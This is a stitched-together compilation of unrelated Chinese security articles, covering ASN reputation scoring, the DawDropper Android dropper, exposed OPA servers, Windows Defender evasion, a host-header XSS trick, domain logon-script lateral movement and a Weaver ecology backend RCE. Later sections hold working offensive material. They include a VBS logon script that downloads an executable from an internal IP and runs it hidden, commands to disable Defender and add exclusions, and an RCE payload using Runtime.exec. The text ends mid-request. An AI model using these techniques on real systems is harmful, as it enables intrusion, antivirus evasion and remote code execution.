為了計算這個概率,我們擴展了貝葉斯方法,如前所述,將每個IP的分數和權重向上輸入到它們所屬的ASN。 Akamai數據用於估計ASN中活躍IP的數量。當我們對每個ASN的多個IP進行聚合時,我們希望我們的ASN信譽計算能夠受益於大數定律,從而計算出最準確的風險評估。例如,如果一個ASN有兩個IP,有30%的機率是惡意的,那麼兩個IP都是惡意的機率都很高,因此可以評估ASN本身是沒有惡意的。這與擁有1000個IP的ASN形成了鮮明的對比,所有的惡意可能性為30%。在這種情況下,可以推斷出該ASN中30%的IP實際上是惡意的,這使得它們比第一個示例中明顯更危險。

跟踪我們不知道的內容以及我們數據中存在的偏差非常重要。將會有我們擁有大量數據的ASN,以及數據很少的ASN。為了盡可能地解決這個問題,我們需要記錄證據數量,它反映了我們擁有的數據量,也可用於計算可能的ASN風險評估值的分佈。從本質上講,我們認為是良性的IP與我們知道是良性的IP(甚至是我們知道是惡意的IP)之間存在顯著差異。當我們擁有較少的數據時,我們可能會假設風險評估較低,但在這種情況下,我們也會記錄較低的證據數量以將結果置於上下文中。在做出有關ASN的決定時,應使用這兩個數字。

ASN風險評估情況下圖顯示了根據池大小的日誌繪製的每個ASN的風險評估。我們看到,隨著風險評估越來越差,ASN的池規模不太可能大。為了更容易理解這些信息,我們將ASN信譽分為四組:

良性:ASN內部發生惡意活動的機率極低;

可能是良性的:主要是良性的,ASN內發生惡意活動的可能性相對較低;

潛在惡意:應謹慎行事,大部分是良性的,但可以檢測到一些惡意活動;

可能惡意:應謹慎或避免,惡意活動與良性的比率表明ASN主要是惡意的或對惡意活動缺乏足夠的控制。

5.png

針對IP地址池大小繪製的每個ASN的風險評估

IPv4地址空間排名前10位的ASN都位於上圖右下角。這意味著他們大多數都有良好的信譽,只有少數例外。圖中突出顯示了異常值的ISP、移動網絡運營商(MNO)和託管服務提供商。與類似的大型ASN相比,它們具有更高的風險評估。數據顯示,這是由各種威脅類型驅動的。似乎有一些潛在的因素使這些ASN的風險更高。我們還必須記住,與這些非常大的ASN相比,惡意活動的相對數量很小,較小的ASN風險更大。

上圖出現的AkamaiASN都具有“良性”風險評估。但是,是什麼讓一個CDN比另一個更具風險呢?這可能是因為攻擊者的進入門檻較低,例如監控效果較差或控制較少。

我們還在上圖中突出了兩組總共13個ISP/MNOASN,可以看出它們的風險評估明顯更高。當我們更深入地觀察時,我們大多會看到來自這些ASN的殭屍網絡和掃描活動的混合。我們可以推測這些ASN更容易受到惡意軟件感染。

當我們繼續向圖的左上角移動時,我們會看到ASN長尾中具有各種威脅類型的風險部分。通常,我們會看到IP地址被用於託管惡意活動,如釣魚網站、惡意文件或掃描程序。在某些情況下,我們能夠看到TOR網絡出口節點,這可能是惡意活動的代理。

在線流量中的風險ASN到目前為止,我們已經從IP空間的角度查看了ASN風險評估,但是從在線流量角度來看,有風險的ASN出現的頻率是多少?下圖中顯示了一天中AkamaiDNS流量的變化,其中包含大約600億次查詢。總共76.6%的查詢來自“良性”和“可能良性”類別的ASN,18.1%來自“潛在惡意”類別,進一步強調合法和非法服務可以從同一個ASN運行。這些DNS查詢中共有5.3%解析為來自ASN的IP,其風險評估屬於“可能惡意”類別,這表明在高度鎖定的用例中,基於ASN的阻止的潛力在於識別真正的風險而不是避免誤報。

6.png

一天中Akamai DNS流量的變化

採取IP來預測攻擊風險就是要精準控制,即精度是最大的問題,希望盡量減少被阻止的合法服務的數量。在其他情況下,例如,在高度控制的環境中,減少誤報的比率很重要。

在沒有ASN信譽背書的情況下,我們在查看證據之前的假設是,所有IP都是合法的。 ASN信譽解鎖了對這些先前假設採取分層方法的能力。如果該IP的ASN非常糟糕,這可以作為我們預測攻擊風險發生的起點,我們可以在收集更多證據時更新我們的數據。 ASN中其他IP的得分會影響該IP的最終得分,並可能影響其是否被阻止。

阻止整個ASN在高度鎖定的環境中,可能需要根據其信譽來阻止整個ASN。由於ASN的信譽是不斷評估的,這個列表不需要是靜態的。隨著信譽的下降,新的ASN將被自動添加。同樣,當我們看到ASN威脅較小的證據時,可以放寬阻止。

總結在討論風險評估時,總會存在細微差別,但ASN風險評估有可能徹底改變安全行業。就像安全的所有其他方面一樣,沒有靈丹妙藥,每個組織都必須做出最適合其環境的決策。但是,超越僅基於IP的風險評估方法的能力允許在你的允許列表和阻止列表中採用更主動的防禦模型。

我們會在本文介紹一種名為DawDropper的銀行木馬滴管,並詳細說明了其與深層網絡中的DaaS相關的網絡犯罪活動。

今年,攻擊者通過惡意下載程序偷偷地將越來越多的銀行木馬添加到GooglePlay商店,這證明這種技術可以有效地逃避檢測。此外,由於對傳播移動惡意軟件的新方法有很高的需求,一些攻擊者聲稱他們的滴管可以幫助其他網絡犯罪分子在GooglePlay商店上傳播他們的惡意軟件,從而產生了滴管即服務(DaaS)模型。

早在2021年下半年,就有研究人員發現了一個惡意活動,該活動使用了一種新的dropper變體,我們稱之為DawDropper。 DawDropper以JustIn:VideoMotion、DocumentScannerPro、ConquerDarkness、simpliCleaner和UniccQRScanner等多個Android應用為幌子,使用第三方雲服務FirebaseRealtimeDatabase來逃避檢測並動態獲取有效載荷下載地址。它還在GitHub上託管惡意負載。截至報告時,這些惡意應用程序已不再在GooglePlay商店中提供。

1.png

DawDropper以前在GooglePlay商店中可用的惡意應用程序

我們觀察到新的DawDropperdropper的技術細節,查看了2022年初發布的使用惡意滴管銀行木馬的簡史,並在這篇文章中討論了與暗網中的DaaS相關的網絡犯罪活動。

DawDropper技術分析根據我們的觀察,DawDropper的變體可以釋放四種類型的銀行木馬,包括Octo、Hydra、Ermac和TeaBot。所有DawDropper變體都使用Firebase實時數據庫(一種用於存儲數據的合法雲託管NoSQL數據庫)作為其命令和控制(CC)服務器,並在GitHub上託管惡意負載。

2.png

DawDropper感染鏈

3.png

託管Octo有效負載的GitHub存儲庫

4.png

託管Ermac有效負載的GitHub存儲庫

5.png

託管Hydra有效負載的GitHub存儲庫

Clast82和DawDropper之間的相似之處有趣的是,我們發現CheckPointResearch在2021年3月報告的另一個名為Clast82的dropper也使用Firebase實時數據庫作為CC服務器。

6.png

從CC服務器獲取的數據格式

DawDropperCC服務器返回的數據類似於Clast82數據:

7.png

DawDropperCC服務器響應

8.png

另一個DawDropper變體的CC服務器響應,添加了安裝指標和安裝新更新的提示

Octo有效載荷DawDropper的惡意負載屬於Octo惡意軟件家族,這是一種模塊化和多階段的惡意軟件,能夠竊取銀行信息、攔截短信和劫持受感染的設備。 Octo也稱為Coper,歷史上一直用於針對哥倫比亞的網上銀行用戶。

根據我們的分析,DawDropper的Octo惡意軟件負載與之前報導的變體相似。該數據包使用編程語言關鍵字來混淆惡意功能。

9.png

2022年3月和6月部署的同類型Octo有效載荷包

一旦Octo惡意軟件在受害者的設備中成功啟動並獲得主要權限,它將保持設備喚醒並註冊預定服務以收集敏感數據並將其上傳到其CC服務器。它還使用虛擬網絡計算(VNC)來記錄用戶的屏幕,包括銀行憑證、電子郵件地址和密碼以及PIN等敏感信息。該惡意軟件還通過關閉設備的背光並關閉設備的聲音來隱藏攻擊,從而導致用戶的屏幕變黑。

10.png

Octo惡意軟件感染鏈

該惡意軟件還可以禁用GooglePlayProtect(通過設備的應用程序並檢查攻擊)並收集用戶數據,包括受感染手機的AndroidID、聯繫人列表、已安裝的應用程序,甚至是短信。

2022年初的迭代史為了更好地理解銀行木馬通過惡意dropper傳播的趨勢,我們必須回顧自2022年初以來,滴管是如何在GooglePlayStore上出現的,分析這些滴管如何彼此不同和演變,並了解網絡犯罪分子是如何傳播他們。

11.png

2022年上半年通過滴管傳播的銀行木馬時間線

銀行滴管之間的主要區別儘管這些銀行滴管的主要目標是相同的,即在受害者的設備上傳播和安裝惡意軟件。但我們已經觀察到,這些銀行滴管在實現惡意程序的方式上存在顯著差異。例如,今年早些時候出現的銀行滴管具有硬編碼的有效載荷下載地址。同時,近期上線的銀行滴管往往會隱藏負載的實際下載地址,有時會使用第三方服務作為CC服務器,還會使用GitHub等第三方服務託管惡意負載。

12.1.png

12.2.png

12.3.png

12.4.png

Vulturdropper(SHA-256:00a733c78f1b4d4f54cf06a0ea8cc33604512d6032ef4ef9114c89c700bfafcf),又名Brunhilda,於2020年底首次被報導為DaaS。 2022年1月,我們觀察到它直接在受感染設備上下載惡意負載,並有自己的方法解密惡意載荷。

13.png

Vulturdropper的下載文件

14.png

Vulturdropper的惡意負載解密進程

同樣於2022年1月發布的Sharkbot滴管(SHA-256:7f55dddcfad05403f71580ec2e5acafdc8c9555e72f724eb1f9e37bf09b8cc0c)具有獨特的行為:它不僅充當滴管,還請求訪問權限並響應所有用戶界面(UI)事件受感染的設備。

15.png

Sharkbotdropper的請求服務器

16.png

Sharkbotdropper從響應中獲取下載URL

與此同時,2022年4月發布的TeaBotdropper使用GitHub託管其惡意軟件負載。但是,TeaBot使用另一個GitHub存儲庫來獲取下載地址,而DawDropper則使用Firebase實時數據庫。

DaaS暗網活動在對使用滴管的銀行木馬的調查中,我們觀察到,2021年首次報告的其中一個滴管是Gymdrop,它連接到網絡一個攻擊者可以用來管理的管理面板(trackerpdfconnect[.]com和smartscreencaster[.]online)滴管和有效載荷。我們還發現Gymdrop在一個暗網論壇上被宣傳為典型的DaaS。

17.png

Hydradropper的Gymdrop管理面板

18.png

2022年2月地下論壇中的Gymdrop管理面板登錄頁面

安全建議攻擊者不斷尋找逃避檢測和感染盡可能多設備的方法。在半年的時間裡,我們已經看到銀行木馬如何改進其技術進程以避免被檢測到,例如將惡意負載隱藏在滴管中。隨著越來越多的銀行木馬通過DaaS獲得,攻擊者將有一種更簡單、更經濟高效的方式來傳播偽裝成合法應用程序的惡意軟件。我們預計這種趨勢將繼續下去。用戶應採用以下安全安全措施:

始終檢查應用評論,看看用戶是否表達了不尋常的擔憂或負面體驗。

在調查應用開發商和發行商時進行盡職調查,避免從看起來可疑的網站下載應用程序。

避免安裝來歷不明的應用程序。

移動用戶可以通過使用移動安全解決方案實時掃描移動設備並按需檢測惡意應用程序或惡意軟件以阻止或刪除它們,從而幫助最大限度地緩解這些欺詐性應用程序帶來的威脅。這些應用程序適用於Android和iOS。

本文會介紹OPA 以及它的用途,並結合已發現的案例來說明通過Shodan 識別389 個暴露的OPA 服務器後發現了什麼,以及暴露的OPA 如何對用戶的應用程序的整體安全性產生哪些負面影響。

今年早些時候,趨勢科技發布了一份關於通過Shodan 發現243469 個暴露暴露的Kubernetes 節點的報告。另外,研究人員還發現了389 個易受攻擊的開放策略代理(OPA) 服務器。 OPA 是一個開源的雲本地計算基金會(CNCF) 項目,使用Go 編程語言開發,目前已被用作許多策略執行工具的主引擎,迄今為止下載量超過1.3 億次。它使用稱為Rego 的特定聲明性策略語言來設計其策略。 OPA 可用於各種系統和環境,例如Kubernetes、微服務、API 網關和其他雲本地工具。如果OPA服務器不受保護,它們的策略可能會洩露敏感的應用程序信息,包括用戶配置文件和正在使用的服務。這些暴露的策略還可能無意中洩露關於系統應該如何工作的信息,以繞過對已實現策略的限制,攻擊者可以利用這些限制進行攻擊。

Fig1_What%20Exposed%20OPA%20Servers%20Can%20Tell%20You%20About%20Your%20Applications.webp.jpg

OPA 架構概述

這篇文章討論了研究人員在通過Shodan 識別出數百個暴露的OPA 服務器後發現的問題,以及暴露的OPA 如何對你的應用程序的整體安全性產生負面影響。

策略即代碼(PolicyAsCode)的需求Policy As Code本質上都是讓原來對Policy 描述抽象成代碼,從而擁有代碼的特性(復用性、抽象性、可執行、可測試、版本化等),以此來獲得更高層次的抽象。

在當今包含sprint、scrum、container、DevOps 和DevSecOps 以及雲的運行環境中,如果不使用自動化,網絡、安全和合規團隊很難跟上開發團隊和業務需求。這就是為什麼基礎設施即代碼(IaC)、GitOps 和安全即代碼(SaC) 等方法在保護雲環境和微服務方面變得必不可少的原因。所有這些方法共同實現雲安全,目的就是幫助在流程和部署開始時集成安全性,以防止威脅和風險。

但是合規性呢?你如何檢查、執行和持續監控你的系統,以確保它們遵循安全最佳實踐並遵守最新的安全標準,例如支付卡行業數據安全標準(PCI-DSS)、健康保險流通與責任法案(HIPAA),以及系統和組織控制(SOC 2)?這就是策略即代碼發揮作用的地方,可以顯著幫助加快合規性創建、自動化和驗證過程。

策略即代碼(或合規性即代碼)已成為實施、管理和跟踪系統策略更改並確保它們在雲本地系統4C 中應用和實施的好方法:代碼、容器、集群和雲。

使用與IaC 和SaC 類似的方法,策略即代碼使用軟件開發中已經使用的所有出色工具和技術來解決合規性問題。一方面,策略以特定文件格式(如JSON 或YAML)或使用特定編程語言(如Python 或Rego)創建和存儲。這些存儲在Git 存儲庫中,用於版本控制、跟踪和可審計性。這樣,組織可以在發生更改時在這些存儲庫上開發和触發管道和自動化。策略即代碼可以在代碼審查、自動化測試以及持續集成和交付(CI/CD) 管道中以編程方式實施,確保更改在到達生產系統之前得到適當的驗證和測試。 OPA 是可用於策略即代碼流程的領先開源工具之一。它可用於網絡上的許多不同應用程序和系統。儘管如此,它的主要採集者之一是Kubernetes 集群的准入控制器,其中它的Gatekeeper版本作為任何試圖在集群中運行的容器的安全器。

Shodan 上暴露的服務器在分析暴露的雲本地工具,特別是暴露暴露的kubelet 時,研究人員還通過Shodan 發現了近400 個暴露在8181 端口上的OPA 服務器,而且這個數字在過去幾個月中一直在增加。端口8181 是OPA 服務器的默認端口,它們都具有可用於未經身份驗證和未經授權的請求的API 端點。根據研究人員的Shodan 搜索,美國、韓國和德國是暴露OPA 數量最多的前三個國家。

研究人員使用列表策略端點來收集有關該實例中安裝的所有策略模塊的信息,如官方OPA 文檔中所示。然後,研究人員查詢了每389 個開放的OPA 服務器,以識別、收集和分析它們可以通過其策略模塊信息暴露的敏感信息類型。研究人員主要關注Policy API 來列出策略和分析數據。

首先,研究人員通過查詢/v1/config/端點來分析安裝在這些服務器上的OPA 的版本。如下圖所示,大多數暴露的服務器都使用過時的OPA 版本,例如0.34.2。在撰寫本文時,最新的OPA 版本是0.43.0。

Fig3_What%20Exposed%20OPA%20Servers%20Can%20Tell%20You%20About%20Your%20Applications.webp.jpg

根據在Shodan 上找到的數據,暴露的OPA 服務器數量及其版本

在上圖中,研究人員可以看到通過Shodan 找到的一個暴露OPA 服務器的示例。除了能夠通過此頁面查詢服務器之外,如果用戶輸入數據沒有得到適當的清理和驗證,它還可以作為命令注入攻擊的入口點。還有REST API 被暴露和未經身份驗證的問題。

Fig4_What%20Exposed%20OPA%20Servers%20Can%20Tell%20You%20About%20Your%20Applications.webp.jpg

在Shodan 上發現了一個過時(0.29.3) 和暴露的OPA 服務器的示例。截至撰寫本文時,此OPA 服務器的最新版本為0.43。

同時,這是對該暴露服務器的/v1/policies 端點發出GET 請求的結果:

Fig5_What%20Exposed%20OPA%20Servers%20Can%20Tell%20You%20About%20Your%20Applications.webp.jpg

從暴露的OPA 服務器訪問列表策略(/v1/policies) 端點以列出所有可用策略

在美化生成的policy.json文件並分析其內容後,研究人員從policy文件本身中發現了一些特殊的信息:

在這個暴露的OPA 服務器上有五個可用的規則,其ID 提供了有關其用途的線索;

'systems/ea2c8e2dbfa748608077be0d6fd45369/rules/rules.rego';

'systems/ea2c8e2dbfa748608077be0d6fd45369/test/test.rego';

'systems/ea2c8e2dbfa748608077be0d6fd45369/product/manager/rules/rules.rego';

'systems/ea2c8e2dbfa748608077be0d6fd45369/product/rules/rules.rego';

'systems/ea2c8e2dbfa748608077be0d6fd45369/backoffice/rules/rules.rego';第一條規則是默認規則,默認返回值設置為false。第二條規則是測試規則;

研究人員可以訪問此暴露的OPA 服務器上可用的所有策略,這些策略可以以原始和抽象語法樹(AST) 格式訪問;

一些規則可以揭示內部應用程序角色,例如“發布者”和“編輯者”;

一些base64 編碼的數據轉換為“助手”。

分析暴露的OPA策略在從所有這些暴露的OPA 服務器收集和分析了近400 條策略之後,研究人員能夠找到以下信息:

這些策略中至少有33%的策略包含與應用程序相關的某種敏感信息,包括用戶配置文件、正在使用的服務,以及將通過Amazon Web Services (AWS) API 網關觸發API 的URL,甚至是一些內部系統URL。

這些策略中有91% 包含有關係統應如何運行以繞過基於已實施策略的某些限制的某種信息。

Fig6_What%20Exposed%20OPA%20Servers%20Can%20Tell%20You%20About%20Your%20Applications.webp.jpg

在收集的OPA 策略中找到的相關和敏感信息的百分比

以下是一些服務和URL 示例,僅通過查看策略和它們為未經身份驗證的請求提供的輸出即可找到:

Fig7B_What%20Exposed%20OPA%20Servers%20Can%20Tell%20You%20About%20Your%20Applications.webp.jpg

僅通過查看OPA 策略即可找到的服務和URL 示例

通過適當的請求或令牌,攻擊者可以獲得有關這些服務的更多信息,並尋找漏洞或其他入口點以進入組織的系統。研究人員強烈建議目前將OPA 用作其策略即代碼解決方案的公司,以確保他們不會無意中在線暴露其API 和策略。在某些情況下,公司可能會在沒有意識到的情況下使用OPA,Kubernetes 託管服務的多個提供商依賴OPA 來執行策略。

出於安全考慮,研究人員僅從REST API 查詢列表策略端點。但是,還有許多其他可用的端點和方法,它們不僅列出了敏感信息,而且還允許攻擊者編輯甚至刪除暴露的OPA服務器中的數據和對象。其中包括:

8.png

所有這些都可以在OPA REST API 文檔中找到。

保護OPA 服務器首先,OPA 服務器不應該暴露在互聯網上。因此,有必要限制該訪問,以避免任何人通過REST API 繞過你的OPA 配置。對於授權用例,OPA部署的標準模式是讓OPA與請求它做出決策的應用程序運行在同一台設備上。這樣,組織就不需要將OPA 暴露給互聯網或內部網絡,因為通信是通過localhost 接口執行的。此外,以這種方式部署OPA 意味著組織通常不需要為REST API 啟用身份驗證/授權,因為只有在同一台設備上運行的進程才能查詢OPA 實例。為此,可以使用“opa run --addr localhost:8181”啟動OPA,使其僅綁定到localhost 接口。

其次,當使用策略即代碼工具(如OPA)時,在源代碼管理(SCM)系統等位置保護策略是很重要的。通過分支保護和代碼所有者等特性,擁有適當的訪問控制來監視可以更改這些策略中的哪些內容也是至關重要的。有了SCM系統的強大功能,組織可以創建對這些策略的任何更改的更精簡的審查和批准過程,確保源代碼中的任何內容也反映在生產OPA服務器中。

TLS 和HTTPS如上所述,在Shodan 上發現的這些暴露的OPA 服務器中的大多數都沒有使用任何類型的通信加密,因為默認情況下沒有啟用這種加密。要配置TLS 和HTTPS,系統管理員需要創建證書和私鑰,並提供以下命令行標誌:

TLS 證書的路徑:--tls-cert-file=

TLS 私鑰的路徑:--tls-private-key-file=

有關此過程的最新信息,請參閱有關TLS 和HTTPS 的OPA 文檔。

身份驗證和授權默認情況下,OPA 身份驗證和授權機制是關閉的。這在OPA 的官方文檔中有所描述,系統管理員和DevOps 工程師在安裝後立即啟用這些機制至關重要。

根據OPA 文檔,這兩種機制都可以通過以下命令行標誌進行配置:

身份驗證:--authentication=

這可以是不記名令牌(--authentication=token) 或客戶端TLS 證書(--authentication=tls)。

授權:--authorization=

這使用Rego 策略來決定誰可以在OPA 中做什麼。它可以通過在OPA 啟動期間設置--authorization=basic 標誌並提供最小授權策略來啟用。

有關此過程的更多詳細信息,請參閱OPA 關於身份驗證和授權的官方文檔。

雲安全建議Kubernetes 是開發人員中最受歡迎的平台之一,其高采用率證明了這一點,並且沒有任何很快放緩的跡象。隨著用戶基礎的不斷擴大,Kubernetes的部署需要確保安全,免受威脅和風險。為此,開發人員可以將策略作為代碼工具,它可以幫助以自動化的方式實現控制和驗證過程。

除了努力應用一些基本的內務管理規則來保證Kubernetes 集群的安全之外,組織還可以使用特定於雲的安全解決方案。

0x00 前言Windows Defender是一款內置在Windows操作系統的殺毒軟件程序,本文僅在技術研究的角度介紹Windows Defender相關的滲透方法,分析利用思路,給出防禦建議。

0x01 簡介本文將要介紹以下內容:

查看Windows Defender版本

查看已存在的查殺排除列表

關閉Windows Defender的Real-time protection

添加查殺排除列表

移除Token導致Windows Defender失效

恢復被隔離的文件

0x02 查看Windows Defender版本1.通過面板查看依次選擇Windows Security-Settings-About,Antimalware Client Verions為Windows Defender版本,如下圖

12a2682d5d5579d327fc0280bbb5a3b.png

2.通過命令行查看image.png

數字大的為最新版本

0x03 查看已存在的查殺排除列表1.通過面板查看依次選擇Windows Security-Virus theat protection settings-Add or remove exclusions,如下圖

4430e255f99a377325b7659b48941fb.png

2.通過命令行查看image.png

3.通過Powershell查看image.png

0x04 關閉Windows Defender的Real-time protection1.通過面板關閉依次選擇Windows Security-Virus theat protection settings,關閉Real-time protection

2.通過命令行關閉利用條件:

需要TrustedInstaller權限

需要關閉Tamper Protection

image.png

注:

運行成功時,桌面右下角會彈框提示Windows Defender已關閉

補充1:開啟Windows Defender的Real-time protection

利用條件:

需要TrustedInstaller權限

需要關閉Tamper Protection

image.png

補充2:獲得TrustedInstaller權限

可參考之前的文章《渗透技巧——Token窃取与利用》

也可以藉助AdvancedRun,命令示例:

image.png

補充3:Tamper Protection

參考資料:

https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/prevent-changes-to-security-settings-with-tamper-protection?view=o365-worldwide

當開啟Tamper Protection時,用戶將無法通過註冊表、Powershell和組策略修改Windows Defender的配置

開啟Tamper Protection的方法:

依次選擇Windows Security-Virus theat protection settings,啟用Tamper Protection

該操作對應的cmd命令:reg add 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Features' /v 'TamperProtection' /d 5 /t REG_DWORD /f

關閉Tamper Protection的方法:

依次選擇Windows Security-Virus theat protection settings,禁用Tamper Protection

該操作對應的cmd命令:reg add 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Features' /v 'TamperProtection' /d 4 /t REG_DWORD /f,當然,我們無法通過修改註冊表的方式去設置Tamper Protection,只能通過面板進行修改

查看Tamper Protection的狀態:

image.png

返回結果中的數值5代表開啟,數值4代表關閉

補充4:通過Powershell關閉Windows Defender的Real-time protection

image.png

注:新版本的Windows已經不再適用

補充5:通過組策略關閉Windows Defender的Real-time protection

依次打開gpedit.msc-Computer Configuration-Administrative Templates-Windows Components-Microsoft Defender Antivirus-Real-time Protection,選擇Turn off real-time protection,配置成Enable

注:新版本的Windows已經不再適用

0x05 添加查殺排除列表1.通過面板添加依次選擇Windows Security-Virus theat protection settings-Add or remove exclusions,選擇Add an exclusion,指定類型

該操作等價於修改註冊表HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\的鍵值,具體位置如下:

類型File對應註冊表項Paths

類型Folder對應註冊表項Paths

類型File type對應註冊表項Extensions

類型Process對應註冊表項Processes

2.通過命令行添加利用條件:

需要TrustedInstaller權限

cmd命令示例:

image.png

3.通過Powershell添加利用條件:

需要管理員權限

參考資料:

https://docs.microsoft.com/en-us/powershell/module/defender/add-mppreference?view=windowsserver2022-ps

Powershell命令示例:

image.png

補充:刪除排除列表

image.png

0x06 移除Token導致Windows Defender失效學習地址:

https://elastic.github.io/security-research/whitepapers/2022/02/02.sandboxing-antimalware-products-for-fun-and-profit/article/

簡單理解:

●Windows Defender進程為MsMpEng.exe

●MsMpEng.exe是一個受保護的進程(Protected Process Light,簡寫為PPL)

●非PPL進程無法獲取PPL進程的句柄,導致我們無法直接結束PPL進程MsMpEng.exe

●但是我們能夠以SYSTEM權限運行的線程修改進程MsMpEng.exe的token

●當我們移除進程MsMpEng.exe的所有token後,進程MsMpEng.exe無法訪問其他進程的資源,也就無法檢測其他進程是否有害,最終導致Windows Defender失效

POC地址:https://github.com/pwn1sher/KillDefender

利用條件:

●需要System權限

測試如下圖

d59589e1e6bda303f4706e5f0ca3e56.png

0x07 恢復被隔離的文件參考資料:

https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/command-line-arguments-microsoft-defender-antivirus?view=o365-worldwide

1.定位MpCmdRun image.png

得到

MpCmdRun的位置為:C:\ProgramData\Microsoft\Windows Defender\Platform\

2.常用命令查看被隔離的文件列表:

image.png

恢復指定名稱的文件至原目錄:

image.png

恢復所有文件至原目錄:

image.png

查看指定路徑是否位於排除列表中:

image.png

0x08 防禦建議阻止通過命令行關閉Windows Defender:開啟Tamper Protection

阻止通過移除Token導致Windows Defender失效:阻止非PPL進程修改PPL進程MsMpEng.exe的token,工具可參考:https://github.com/elastic/PPLGuard

0x09 小結本文在僅在技術研究的角度介紹Windows Defender相關的滲透方法,分析利用思路,給出防禦建議。對於移除Token導致Windows Defender失效的利用方法,可能會在未來版本的Windows中默認解決這個問題。

HireHackking

日常SRC中xss小tips

0x00  前言

关于众测、专属中如何去捡漏xss洞,水文,水文,水文!!!

0x01  日常测试

日常无聊测站点,当你在渗透测试时候,发现有某个html标签调用服务器内图片的,并且是那种加入服务器ip地址的,可以尝试通过修改host头来fuzz一下,探测下是否存在xss。w5p2sjdikwn15072.jpg
dwszvyid1pv15073.jpg看到这种情况我们可以大概猜想一下,其中的后段代码可能是以下样子:<img src="<?php echo "http://{$_SERVER['HTTP_HOST']}/"?>xxx/aaa.png" />这样看来就很简单了,修改一下请求包中的host就能造成xss咯。pnnf24mwhsz15074.jpg
成功弹窗hebst5xsqz115075.jpg
hmj3wfkxplg15076.jpg捡破烂小tips完结。

转自原来链接:https://blog.csdn.net/Guapichen/article/details/124040935?spm=1001.2014.3001.5501
HireHackking

登录脚本下发

0x1、利用场景

当获取到域控权限或domain admin等高权限时,想横向到域内PC主机上对方开启了防火墙,无法通过445、135进行横向利用,可以通过登录脚本绑定的方式获取目标主机权限。

0x2、利用方法

方法一、powershell win2012及以上自带,获取当前域用户信息

Get-ADUser -Filter * -Properties * | sort LastLogonDate | select name,mail,DistinguishedName,LastLogonDate | Export-Csv -Path C:\Users\Public\Documents\user.csv -Encoding utf8

绑定指定用户

Set-ADUser -Identity zhangsan -ScriptPath "download.vbs"

解绑

Set-ADUser -Identity zhangsan -ScriptPath " "

方法二、利用dsmod进行绑定

 dsmod user -loscr "download.vbs" "CN=john,CN=Users,DC=redteam,DC=com"

解绑

dsmod user -loscr "" "CN=john,CN=Users,DC=redteam,DC=com"

刷新组策略

shell gpupdate /force

VBS内容

strFileURL = "http://192.168.172.129:82/logo.ico"strHDLocation = "C:\Users\Public\Documents\ChsIME.exe"Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")objXMLHTTP.open "GET", strFileURL, falseobjXMLHTTP.send()If objXMLHTTP.Status = 200 ThenSet objADOStream = CreateObject("ADODB.Stream")objADOStream.OpenobjADOStream.Type = 1 'adTypeBinaryobjADOStream.Write objXMLHTTP.ResponseBodyobjADOStream.Position = 0'Set the stream position to the startSet objFSO = Createobject("Scripting.FileSystemObject")If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocationSet objFSO = NothingobjADOStream.SaveToFile strHDLocationobjADOStream.CloseSet objADOStream = NothingEnd ifSet objXMLHTTP = NothingstrComputer = "."set ws=wscript.createobject("wscript.shell")val=ws.run ("C:\Users\Public\Documents\ChsIME.exe",0) 

上传至dc c:\windows\SYSVOL\sysvol\redteam.com\SCRIPTS\目录下,通过方法一或方法二进行绑定后刷新组策略即可



 https://www.cnblogs.com/websecyw/p/16657762.html


某应用存在后台RCE,根据相关信息,我们在对后台审计过程,这里发现一处调用newInstance实例化

ojnq5prt21t14907.jpg

溯源找到InterfaceRegisterCustomOperationCmd #excute

tilzfhlg3qw14911.jpgq0oxmgyccvs14915.jpgltooswhmyhi14918.jpgr2kdiruazx514922.jpg
访问路径为 /api/integration/workflowflow/getInterfaceRegisterCustomOperation

getInterfaceRegisterCustomOperation调用了execute,首先判断了用户,所以这里是后台漏洞

eyzufmlts0114925.jpg

因为我们需要这个污点函数JavaCodeToObject,所以要满足if的条件并且控制var18和var20

amoqh5hstpp14929.jpg

这里var14要为add

0xyjwebtbce14930.jpg

var14的值是从请求参数method取得,因为前面是指定POST方法所以这里method=add

0yfbo2sdnxp14932.jpg

进入if判断后var15的值如果为空就会return掉,所以这里actionid的值不为空就好,结合上面的条件就是method=add&actionid=1

0ccuyqrcpxz14934.jpg

这里var18的开头如果不是weaver.interfaces.workflow.action.javacode.Action将会进入下面的判断导致抛出异常,达不到我们想要的结果,所以这里classname=weaver.interfaces.workflow.action.javacode.Action,结合上面的参数method=add&actionid=1classname=weaver.interfaces.workflow.action.javacode.Action

ovgndgck51w14936.jpg

下面var20值取自javacode参数,结合上面payload为method=add&actionid=1&classname=weaver.interfaces.workflow.action.javacode.Action&javacode=

vciezpr1mxz14939.jpg

if如果var18包含weaver.interfaces.workflow.action.javacode进入我们想要的javacodetoobject调用,所以classname=weaver.interfaces.workflow.action.javacode.Action.weaver.interfaces.workflow.action.javacode.Action两个条件用.连接否则会报加载异常

mbmwzbcl1y214941.jpg

根据上面的条件都已满足var18和var20条件,构造var20的参数为 javacode=package weaver.interfaces.workflow.action.javacode.Action.weaver.interfaces.workflow.action.javacode; import java.io.IOException; public class test { static { try { Runtime.getRuntime().exec("calc.exe"); } catch (IOException e) { e.printStackTrace(); } } }这里将命令执行的代码放在静态代码块是因为实例化的时候会自动执行static中的代码,达到命令执行

0k1ioy4rubn14945.jpg

实际发包好像没有利用成功,回头看一下代码 发现丢了个参数 dtinfo_CustomParameterData

POST /api/integration/workflowflow/getInterfaceRegisterCustomOperation HTTP/1.1
Host: 
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 Edg/105.0.1343.33
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: ecology_JSessionid=aaa8G6PRBnnBD82yi6Fky; JSESSIONID=aaa8G6PRBnnBD82yi6Fky; __randcode__=d2fa15e2-395e-4b3b-a004-82fc07c18695; loginidweaver=1; languageidweaver=7; loginuuids=1
Connection: close
Content-Type: application/x-www-form-urlencoded
